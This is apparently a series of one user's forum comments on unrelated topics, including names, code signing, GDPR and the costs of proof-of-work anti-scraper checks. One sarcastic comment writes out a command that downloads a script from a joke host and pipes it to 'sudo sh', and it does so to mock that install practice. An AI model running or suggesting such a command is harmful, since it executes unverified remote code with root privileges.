Do delivery drivers in NYC really use cars? 🤨

I think I would rather lick Technetium than Lithium

I love the fact that you drew this by hand

That’s the thing: if he went by Womble at work then that was his name. The fact that the government called him Raymond doesn’t make that his only name, they are both valid.

Fun fact, you can use whatever names you want. All names are made up. Your “legal name” is just what the government calls you, but you can ask other people to call you something else entirely. The same goes with pronouns.

I don’t want to trust a website, which is susceptible to typos and lookalikes (see e.g. putty.org) and relies on countless other services that can inject malware.

Code signing was creates for this reason: ensure that the program is authentic and unaltered. Package managers do this perfectly.

You must run curl http://totallylegitwebsite.ru/install | sudo sh, it’s the only way to install our product. Don’t even look at the several thousand lines of illegible shell script, just pipe it straight to your shell. We are a very serious project.

Many EU countries have their own different laws about this stuff. The GDPR likely does not apply here because of the exception for “purely personal and household activities”, article 2(2)©.

Incomprehensible, I love it

Why not present that context to users and let us draw our own conclusions?

If it works it works. You mathematicians just don’t understand the pragmatics. What is tech debt?

Just more proof that the universe is flat

They are both a problem. Cars took up most walkable areas and now venture capitalists are exploiting what little is left by littering it with their electric scooters and bikes. Rentals are an important part of a mobility strategy, but they should be run by the government and get their own parking infrastructure.

I think supporting Ukraine is good, but so does the MIC. Surely you must recognize that they benefit greatly from a neverending conflict. It is important to recognize the difference in motivation.

Künstliche Intelligenz 😔

The MIC does want you to stand with Israel and Ukraine though.

If you’re deliberately belittling me I won’t engage. Goodbye.

“You criticize society yet you participate in it. Curious.”

To be clear, I am not minimizing the problems of scrapers. I am merely pointing out that this strategy of proof-of-work has nasty side effects and we need something better.

These issues are not short term. PoW means you are entering into an arms race against an adversary with bottomless pockets that inherently requires a ton of useless computations in the browser.

When it comes to moving towards something based on heuristics, which is what the developer was talking about there, that is much better. But that is basically what many others are already doing (like the “I am not a robot” checkmark) and fundamentally different from the PoW that I argue against.

Go do heuristics, not PoW.

It depends on the website’s setting. I have the same phone and there was one website where it took more than 20 seconds.

The power consumption is significant, because it needs to be. That is the entire point of this design. If it doesn’t take significant a significant number of CPU cycles, scrapers will just power through them. This may not be significant for an individual user, but it does add up when this reaches widespread adoption and everyone’s devices have to solve those challenges.